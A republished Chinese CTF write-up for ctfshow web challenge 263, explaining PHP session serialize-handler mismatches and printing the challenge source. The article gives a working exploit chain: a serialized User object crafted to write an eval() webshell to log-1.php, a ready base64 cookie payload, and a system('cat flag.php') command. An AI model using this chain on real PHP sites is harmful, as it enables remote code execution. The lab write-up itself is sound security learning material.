ctfshow web入门 反序列化 263
因为这个,可能讲的要稍微多一点,所以单独另起一篇
基本
题目主要是session反序列化
我们主要了解这里就可以了
session.serialize_handler的引擎有看下面。
注:php_serialize是从5.5.4开始使用的。
处理器名称 | 存储格式 |
---|---|
php | 键名 竖线 经过serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 键名 经过serialize() 函数序列化处理的值 |
php_serialize |
经过serialize()函数序列化处理的数组 |
处理器-php
-
-
-
highlight_file(__FILE__);
-
ini_set('session.serialize_handler', 'php');
-
session_start();
-
$_SESSION['session'] = $_GET['session'];
-
var_dump($SESSION);
我们访问网页,通过session参数传入一个2,他会在一个tmp的文件夹下面生成一个文件。
那么怎么找到这个文件呢,毕竟每一个人的路径肯定有区别的,这里我们可以Everything这个工具来搜索sess_,就可以知道路径了,接下来我们看看生成了什么。
-
//生成的
-
session|s:1:"2";
竖杠的左边是他的键名,右边是他的键值。
也正是键名 竖线 经过serialize()
函数序列化处理的值
处理器-php_binary
-
-
-
highlight_file(__FILE__);
-
ini_set('session.serialize_handler', 'php_binary');
-
session_start();
-
$_SESSION['session'] = $_GET['session'];
-
var_dump($SESSION);
这里就是我们使用的代码,然后传入2,这里修改了一下PHPSESSID为aaa,然后就会生成一个sess_aaa的文件。
-
//生成的
-
sessions:1:"2";
session前面是还有一个字符因为不可见的缘故大家看不到。
处理器-php_serialize
-
-
-
highlight_file(__FILE__);
-
ini_set('session.serialize_handler', 'php_serialize');
-
session_start();
-
$_SESSION['session'] = $_GET['session'];
-
var_dump($SESSION);
老样子输入一个2,它里面文件的内容是
a:1:{s:7:"session";s:1:"2";}
这里php_serialize在内部简单地直接使用 serialize/unserialize函数,他是会自动进行反序列化这就是我们需要利用的。
这里写两个来进行举例 :
这里使用这两个
-
-
-
highlight_file(__FILE__);
-
ini_set('session.serialize_handler', 'php_serialize');
-
session_start();
-
$_SESSION['session'] = $_GET['session'];
-
var_dump($SESSION);
-
-
highlight_file(__FILE__);
-
-
ini_set('session.serialize_handler', 'php');
-
session_start();
-
-
class A
-
{
-
public $a;
-
public function __destruct()
-
{
-
echo($this->a);
-
}
-
}
我们这里写一串序列化的东西,看看下面那个是否会输出phpinfo()
O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}
首先我们在上面那个传入
?session=|O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}
记住这里要加竖杠,因为第二个文件的解释器是php,我们要让前面成为键名,后面是键值,让他只解析后面的序列化好的字符串,然后这里他会写入一个PHPSESSID里面,我们带着这个一个去访问下面那个文件。
这里我们看到属性a没有任何赋值,但是最后确实是输出了phpinfo().
我们去看看生成的文件,里面的内容是怎么样的。
a:1:{s:7:"session";s:37:"|O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}
php_serialize处理器是进行了一次php序列化,但是我们传入了一个|,在php处理器的理解是
这三部分
a:1:{s:7:"session";s:37:" //键名,这个是不解析的
| //分隔符
O:1:"A":1:{s:1:"a";s:9:"phpinfo()";} //键值
题目
这里刚进去没有发现什么东西,这里通过dirsearch扫目录发现有www.zip
-
//index.php
-
-
-
/*
-
# -*- coding: utf-8 -*-
-
# @Author: h1xa
-
# @Date: 2020-09-03 16:28:37
-
# @Last Modified by: h1xa
-
# @Last Modified time: 2020-09-06 19:21:45
-
# @email: h1xa@ctfer.com
-
# @link: https://ctfer.com
-
-
*/
-
error_reporting(0);
-
session_start();
-
//超过5次禁止登陆
-
if(isset($_SESSION['limit'])){
-
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
-
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) 1);
-
}else{
-
setcookie("limit",base64_encode('1'));
-
$_SESSION['limit']= 1;
-
}
-
-
-
-
-
<!DOCTYPE html>
-
<html>
-
<head>
-
<meta charset="UTF-8">
-
<meta http-equiv="X-UA-Compatible" content="IE=edge">
-
<meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1">
-
<meta name="viewport" content="width=device-width, initial-scale=1">
-
<meta name="apple-mobile-web-app-capable" content="yes">
-
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
-
<title>ctfshow登陆</title>
-
<link href="css/style.css" rel="stylesheet">
-
</head>
-
<body>
-
-
<div class="pc-kk-form">
-
<center><h1>CTFshow 登陆</h1></center><br><br>
-
<form action="" onsubmit="return false;">
-
<div class="pc-kk-form-list">
-
<input id="u" type="text" placeholder="用户名">
-
</div>
-
<div class="pc-kk-form-list">
-
<input id="pass" type="password" placeholder="密码">
-
</div>
-
-
<div class="pc-kk-form-btn">
-
<button onclick="check();">登陆</button>
-
</div>
-
</form>
-
</div>
-
-
-
<script type="text/javascript" src="js/jquery.min.js"></script>
-
-
<script>
-
-
function check(){
-
$.ajax({
-
url:'check.php',
-
type: 'GET',
-
data:{
-
'u':$('#u').val(),
-
'pass':$('#pass').val()
-
},
-
success:function(data){
-
alert(JSON.parse(data).msg);
-
},
-
error:function(data){
-
alert(JSON.parse(data).msg);
-
}
-
-
});
-
}
-
-
-
</script>
-
-
</body>
-
</html>
因为check.php,这里 require_once 'inc/inc.php';,所以我们去查看inc/inc.php
-
//check.php
-
<?php
-
-
/*
-
# -*- coding: utf-8 -*-
-
# @Author: h1xa
-
# @Date: 2020-09-03 16:59:10
-
# @Last Modified by: h1xa
-
# @Last Modified time: 2020-09-06 19:15:38
-
# @email: h1xa@ctfer.com
-
# @link: https://ctfer.com
-
-
*/
-
-
error_reporting(0);
-
require_once 'inc/inc.php';
-
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
-
-
-
if($GET){
-
-
$data= $db->get('admin',
-
[ 'id',
-
'UserName0'
-
],[
-
"AND"=>[
-
"UserName0[=]"=>$GET['u'],
-
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母 数字 特殊符号,防止爆破
-
]
-
]);
-
if($data['id']){
-
//登陆成功取消次数累计
-
$_SESSION['limit']= 0;
-
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
-
}else{
-
//登陆失败累计次数加1
-
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) 1);
-
echo json_encode(array("error","msg"=>"登陆失败"));
-
}
-
}
-
#inc/inc.php
-
-
error_reporting(0);
-
ini_set('display_errors', 0);
-
ini_set('session.serialize_handler', 'php');
-
date_default_timezone_set("Asia/Shanghai");
-
session_start();
-
use \CTFSHOW\CTFSHOW;
-
require_once 'CTFSHOW.php';
-
$db = new CTFSHOW([
-
'database_type' => 'mysql',
-
'database_name' => 'web',
-
'server' => 'localhost',
-
'username' => 'root',
-
'password' => 'root',
-
'charset' => 'utf8',
-
'port' => 3306,
-
'prefix' => '',
-
'option' => [
-
PDO::ATTR_CASE => PDO::CASE_NATURAL
-
]
-
]);
-
-
// sql注入检查
-
function checkForm($str){
-
if(!isset($str)){
-
return true;
-
}else{
-
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\ |\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
-
}
-
}
-
-
-
class User{
-
public $username;
-
public $password;
-
public $status;
-
function __construct($username,$password){
-
$this->username = $username;
-
$this->password = $password;
-
}
-
function setStatus($s){
-
$this->status=$s;
-
}
-
function __destruct(){
-
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
-
}
-
}
-
-
/*生成唯一标志
-
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
-
*/
-
-
function uuid()
-
{
-
$chars = md5(uniqid(mt_rand(), true));
-
$uuid = substr ( $chars, 0, 8 ) . '-'
-
. substr ( $chars, 8, 4 ) . '-'
-
. substr ( $chars, 12, 4 ) . '-'
-
. substr ( $chars, 16, 4 ) . '-'
-
. substr ( $chars, 20, 12 );
-
return $uuid ;
-
}
这里我们分析一下,首先看看index.php这里有一个问题就是session,我们可以自己定义,然后这里还是存在session_start(),这里php的版本是7.3.11,所以就是默认就是ini_set('session.serialize_handler', 'php_serialize');
-
if(isset($_SESSION['limit'])){
-
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
-
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) 1);
-
}else{
-
setcookie("limit",base64_encode('1'));
-
$_SESSION['limit']= 1;
-
}
然后看到check.php,注意这里他是有加载inc.php的
require_once 'inc/inc.php';
这里看到inc.php,注意这里,他是设定成了php,所以结合上面php_serialize,在结合我们可以控制session,还有下面User类中的username和password,这里还可以进行任意文件写入,嘿嘿嘿,整条思路不就有了吗。
-
ini_set('session.serialize_handler', 'php');
-
-
class User{
-
public $username;
-
public $password;
-
public $status;
-
function __construct($username,$password){
-
$this->username = $username;
-
$this->password = $password;
-
}
-
function setStatus($s){
-
$this->status=$s;
-
}
-
function __destruct(){
-
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
-
}
-
}
首先我们先去生成exp
-
//payload
-
-
class User{
-
public $username="1.php";
-
public $password='<?php eval($_POST[a]);?>//';
-
}
-
-
echo urlencode(base64_encode(serialize("|".serialize(new User))));
-
//1.index.php
-
cookie传:limit=czo5MjoifE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2BLy8iO30iOw%3D%3D
-
-
//2.带着cookie去访问check.php
-
-
//3.访问log-1.php
-
post传:a=system('cat flag.php');
-
-
//4.查看源代码获得flag
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhfiaefc
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
怎样阻止微信小程序自动打开
PHP中文网 06-13 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01